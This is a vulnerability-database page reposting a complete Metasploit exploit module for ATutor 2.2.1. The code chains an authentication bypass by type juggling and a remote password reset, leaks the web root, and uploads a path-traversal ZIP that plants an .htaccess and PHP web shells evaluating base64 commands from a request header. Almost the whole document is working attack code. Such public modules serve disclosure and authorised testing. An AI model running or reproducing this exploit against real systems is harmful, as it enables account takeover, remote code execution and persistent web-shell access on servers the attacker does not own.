Lucene search
K

ATutor 2.2.1 Directory Traversal / Remote Code Execution

🗓️ 29 Mar 2016 00:00:00Reported by mr_meType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

This module exploits a directory traversal vulnerability in ATutor 2.2.1 on Apache/PHP. It allows uploading a malicious ZIP file, but a blacklist verification does not prevent exploitation. Remote registration is enabled by default. It bypasses authentication using two vulnerabilities

Code
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'ATutor 2.2.1 Directory Traversal / Remote Code Execution',  
'Description' => %q{  
This module exploits a directory traversal vulnerability in ATutor on an Apache/PHP  
setup with display_errors set to On, which can be used to allow us to upload a malicious  
ZIP file. On the web application, a blacklist verification is performed before extraction,  
however it is not sufficient to prevent exploitation.  
  
You are required to login to the target to reach the vulnerability, however this can be  
done as a student account and remote registration is enabled by default.  
  
Just in case remote registration isn't enabled, this module uses 2 vulnerabilities  
in order to bypass the authentication:  
  
1. confirm.php Authentication Bypass Type Juggling vulnerability  
2. password_reminder.php Remote Password Reset TOCTOU vulnerability  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code  
],  
'References' =>  
[  
[ 'URL', 'http://www.atutor.ca/' ], # Official Website  
[ 'URL', 'http://sourceincite.com/research/src-2016-09/' ], # Type Juggling Advisory  
[ 'URL', 'http://sourceincite.com/research/src-2016-10/' ], # TOCTOU Advisory  
[ 'URL', 'http://sourceincite.com/research/src-2016-11/' ], # Directory Traversal Advisory  
[ 'URL', 'https://github.com/atutor/ATutor/pull/107' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'DisableNops' => true,  
},  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [[ 'Automatic', { }]],  
'DisclosureDate' => 'Mar 1 2016',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),  
OptString.new('USERNAME', [false, 'The username to authenticate as']),  
OptString.new('PASSWORD', [false, 'The password to authenticate with'])  
],self.class)  
end  
  
def print_status(msg='')  
super("#{peer} - #{msg}")  
end  
  
def print_error(msg='')  
super("#{peer} - #{msg}")  
end  
  
def print_good(msg='')  
super("#{peer} - #{msg}")  
end  
  
def check  
# there is no real way to finger print the target so we just  
# check if we can upload a zip and extract it into the web root...  
# obviously not ideal, but if anyone knows better, feel free to change  
if (not datastore['USERNAME'].blank? and not datastore['PASSWORD'].blank?)  
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], check=true)  
if student_cookie != nil && disclose_web_root  
begin  
if upload_shell(student_cookie, check=true) && found  
return Exploit::CheckCode::Vulnerable  
end  
rescue Msf::Exploit::Failed => e  
vprint_error(e.message)  
end  
else  
# if we cant login, it may still be vuln  
return Exploit::CheckCode::Unknown  
end  
else  
# if no creds are supplied, it may still be vuln  
return Exploit::CheckCode::Unknown  
end  
return Exploit::CheckCode::Safe  
end  
  
def create_zip_file(check=false)  
zip_file = Rex::Zip::Archive.new  
@header = Rex::Text.rand_text_alpha_upper(4)  
@payload_name = Rex::Text.rand_text_alpha_lower(4)  
@archive_name = Rex::Text.rand_text_alpha_lower(3)  
@test_string = Rex::Text.rand_text_alpha_lower(8)  
# we traverse back into the webroot mods/ directory (since it will be writable)  
path = "../../../../../../../../../../../../..#{@webroot}mods/"  
  
# we use this to give us the best chance of success. If a webserver has htaccess override enabled  
# we will win. If not, we may still win because these file extensions are often registered as php  
# with the webserver, thus allowing us remote code execution.  
if check  
zip_file.add_file("#{path}#{@payload_name}.txt", "#{@test_string}")  
else  
register_file_for_cleanup( ".htaccess", "#{@payload_name}.pht", "#{@payload_name}.php4", "#{@payload_name}.phtml")  
zip_file.add_file("#{path}.htaccess", "AddType application/x-httpd-php .phtml .php4 .pht")  
zip_file.add_file("#{path}#{@payload_name}.pht", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
zip_file.add_file("#{path}#{@payload_name}.php4", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
zip_file.add_file("#{path}#{@payload_name}.phtml", "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")  
end  
zip_file.pack  
end  
  
def found  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.txt"),  
})  
if res and res.code == 200 and res.body =~ /#{@test_string}/  
return true  
end  
return false  
end  
  
def disclose_web_root  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "jscripts", "ATutor_js.php"),  
})  
@webroot = "/"  
@webroot << $1 if res and res.body =~ /\<b\>\/(.*)jscripts\/ATutor_js\.php\<\/b\> /  
if @webroot != "/"  
return true  
end  
return false  
end  
  
def call_php(ext)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "mods", "#{@payload_name}.#{ext}"),  
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"  
}, timeout=0.1)  
return res  
end  
  
def exec_code  
res = nil  
res = call_php("pht")  
if res == nil  
res = call_php("phtml")  
end  
if res == nil  
res = call_php("php4")  
end  
end  
  
def upload_shell(cookie, check)  
post_data = Rex::MIME::Message.new  
post_data.add_part(create_zip_file(check), 'application/zip', nil, "form-data; name=\"file\"; filename=\"#{@archive_name}.zip\"")  
post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"submit_import\"")  
data = post_data.to_s  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "tests", "question_import.php"),  
'method' => 'POST',  
'data' => data,  
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",  
'cookie' => cookie,  
'vars_get' => {  
'h' => ''  
}  
})  
if res && res.code == 302 && res.redirection.to_s.include?("question_db.php")  
return true  
end  
# unknown failure...  
fail_with(Failure::Unknown, "Unable to upload php code")  
return false  
end  
  
def find_user(cookie)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "users", "profile.php"),  
'cookie' => cookie,  
# we need to set the agent to the same value that was in type_juggle,  
# since the bypassed session is linked to the user-agent. We can then  
# use that session to leak the username  
'agent' => ''  
})  
username = "#{$1}" if res and res.body =~ /<span id="login">(.*)<\/span>/  
if username  
return username  
end  
# else we fail, because we dont know the username to login as  
fail_with(Failure::Unknown, "Unable to find the username!")  
end  
  
def type_juggle  
# high padding, means higher success rate  
# also, we use numbers, so we can count requests :p  
for i in 1..8  
for @number in ('0'*i..'9'*i)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "confirm.php"),  
'vars_post' => {  
'auto_login' => '',  
'code' => '0' # type juggling  
},  
'vars_get' => {  
'e' => @number, # the bruteforce  
'id' => '',  
'm' => '',  
# the default install script creates a member  
# so we know for sure, that it will be 1  
'member_id' => '1'  
},  
# need to set the agent, since we are creating x number of sessions  
# and then using that session to get leak the username  
'agent' => ''  
}, redirect_depth = 0) # to validate a successful bypass  
if res and res.code == 302  
cookie = "ATutorID=#{$3};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/  
return cookie  
end  
end  
end  
# if we finish the loop and have no sauce, we cant make pasta  
fail_with(Failure::Unknown, "Unable to exploit the type juggle and bypass authentication")  
end  
  
def reset_password  
# this is due to line 79 of password_reminder.php  
days = (Time.now.to_i/60/60/24)  
# make a semi strong password, we have to encourage security now :->  
pass = Rex::Text.rand_text_alpha(32)  
hash = Rex::Text.sha1(pass)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "password_reminder.php"),  
'vars_post' => {  
'form_change' => 'true',  
# the default install script creates a member  
# so we know for sure, that it will be 1  
'id' => '1',  
'g' => days + 1, # needs to be > the number of days since epoch  
'h' => '', # not even checked!  
'form_password_hidden' => hash, # remotely reset the password  
'submit' => 'Submit'  
},  
}, redirect_depth = 0) # to validate a successful bypass  
  
if res and res.code == 302  
return pass  
end  
# if we land here, the TOCTOU failed us  
fail_with(Failure::Unknown, "Unable to exploit the TOCTOU and reset the password")  
end  
  
def login(username, password, check=false)  
hash = Rex::Text.sha1(Rex::Text.sha1(password))  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, "login.php"),  
'vars_post' => {  
'form_password_hidden' => hash,  
'form_login' => username,  
'submit' => 'Login',  
'token' => '',  
},  
})  
# poor php developer practices  
cookie = "ATutorID=#{$4};" if res && res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/  
if res && res.code == 302  
if res.redirection.to_s.include?('bounce.php?course=0')  
return cookie  
end  
end  
# auth failed if we land here, bail  
unless check  
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")  
end  
return nil  
end  
  
def report_cred(opts)  
service_data = {  
address: rhost,  
port: rport,  
service_name: ssl ? 'https' : 'http',  
protocol: 'tcp',  
workspace_id: myworkspace_id  
}  
  
credential_data = {  
module_fullname: fullname,  
post_reference_name: self.refname,  
private_data: opts[:password],  
origin_type: :service,  
private_type: :password,  
username: opts[:user]  
}.merge(service_data)  
  
login_data = {  
core: create_credential(credential_data),  
status: Metasploit::Model::Login::Status::SUCCESSFUL,  
last_attempted_at: Time.now  
}.merge(service_data)  
  
create_credential_login(login_data)  
end  
  
def exploit  
# login if needed  
if (not datastore['USERNAME'].empty? and not datastore['PASSWORD'].empty?)  
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])  
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'])  
print_good("Logged in as #{datastore['USERNAME']}")  
# else, we reset the students password via a type juggle vulnerability  
else  
print_status("Account details are not set, bypassing authentication...")  
print_status("Triggering type juggle attack...")  
student_cookie = type_juggle  
print_good("Successfully bypassed the authentication in #{@number} requests !")  
username = find_user(student_cookie)  
print_good("Found the username: #{username} !")  
password = reset_password  
print_good("Successfully reset the #{username}'s account password to #{password} !")  
report_cred(user: username, password: password)  
student_cookie = login(username, password)  
print_good("Logged in as #{username}")  
end  
  
if disclose_web_root  
print_good("Found the webroot")  
# we got everything. Now onto pwnage  
if upload_shell(student_cookie, false)  
print_good("Zip upload successful !")  
exec_code  
end  
end  
end  
end  
  
=begin  
php.ini settings:  
display_errors = On   
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation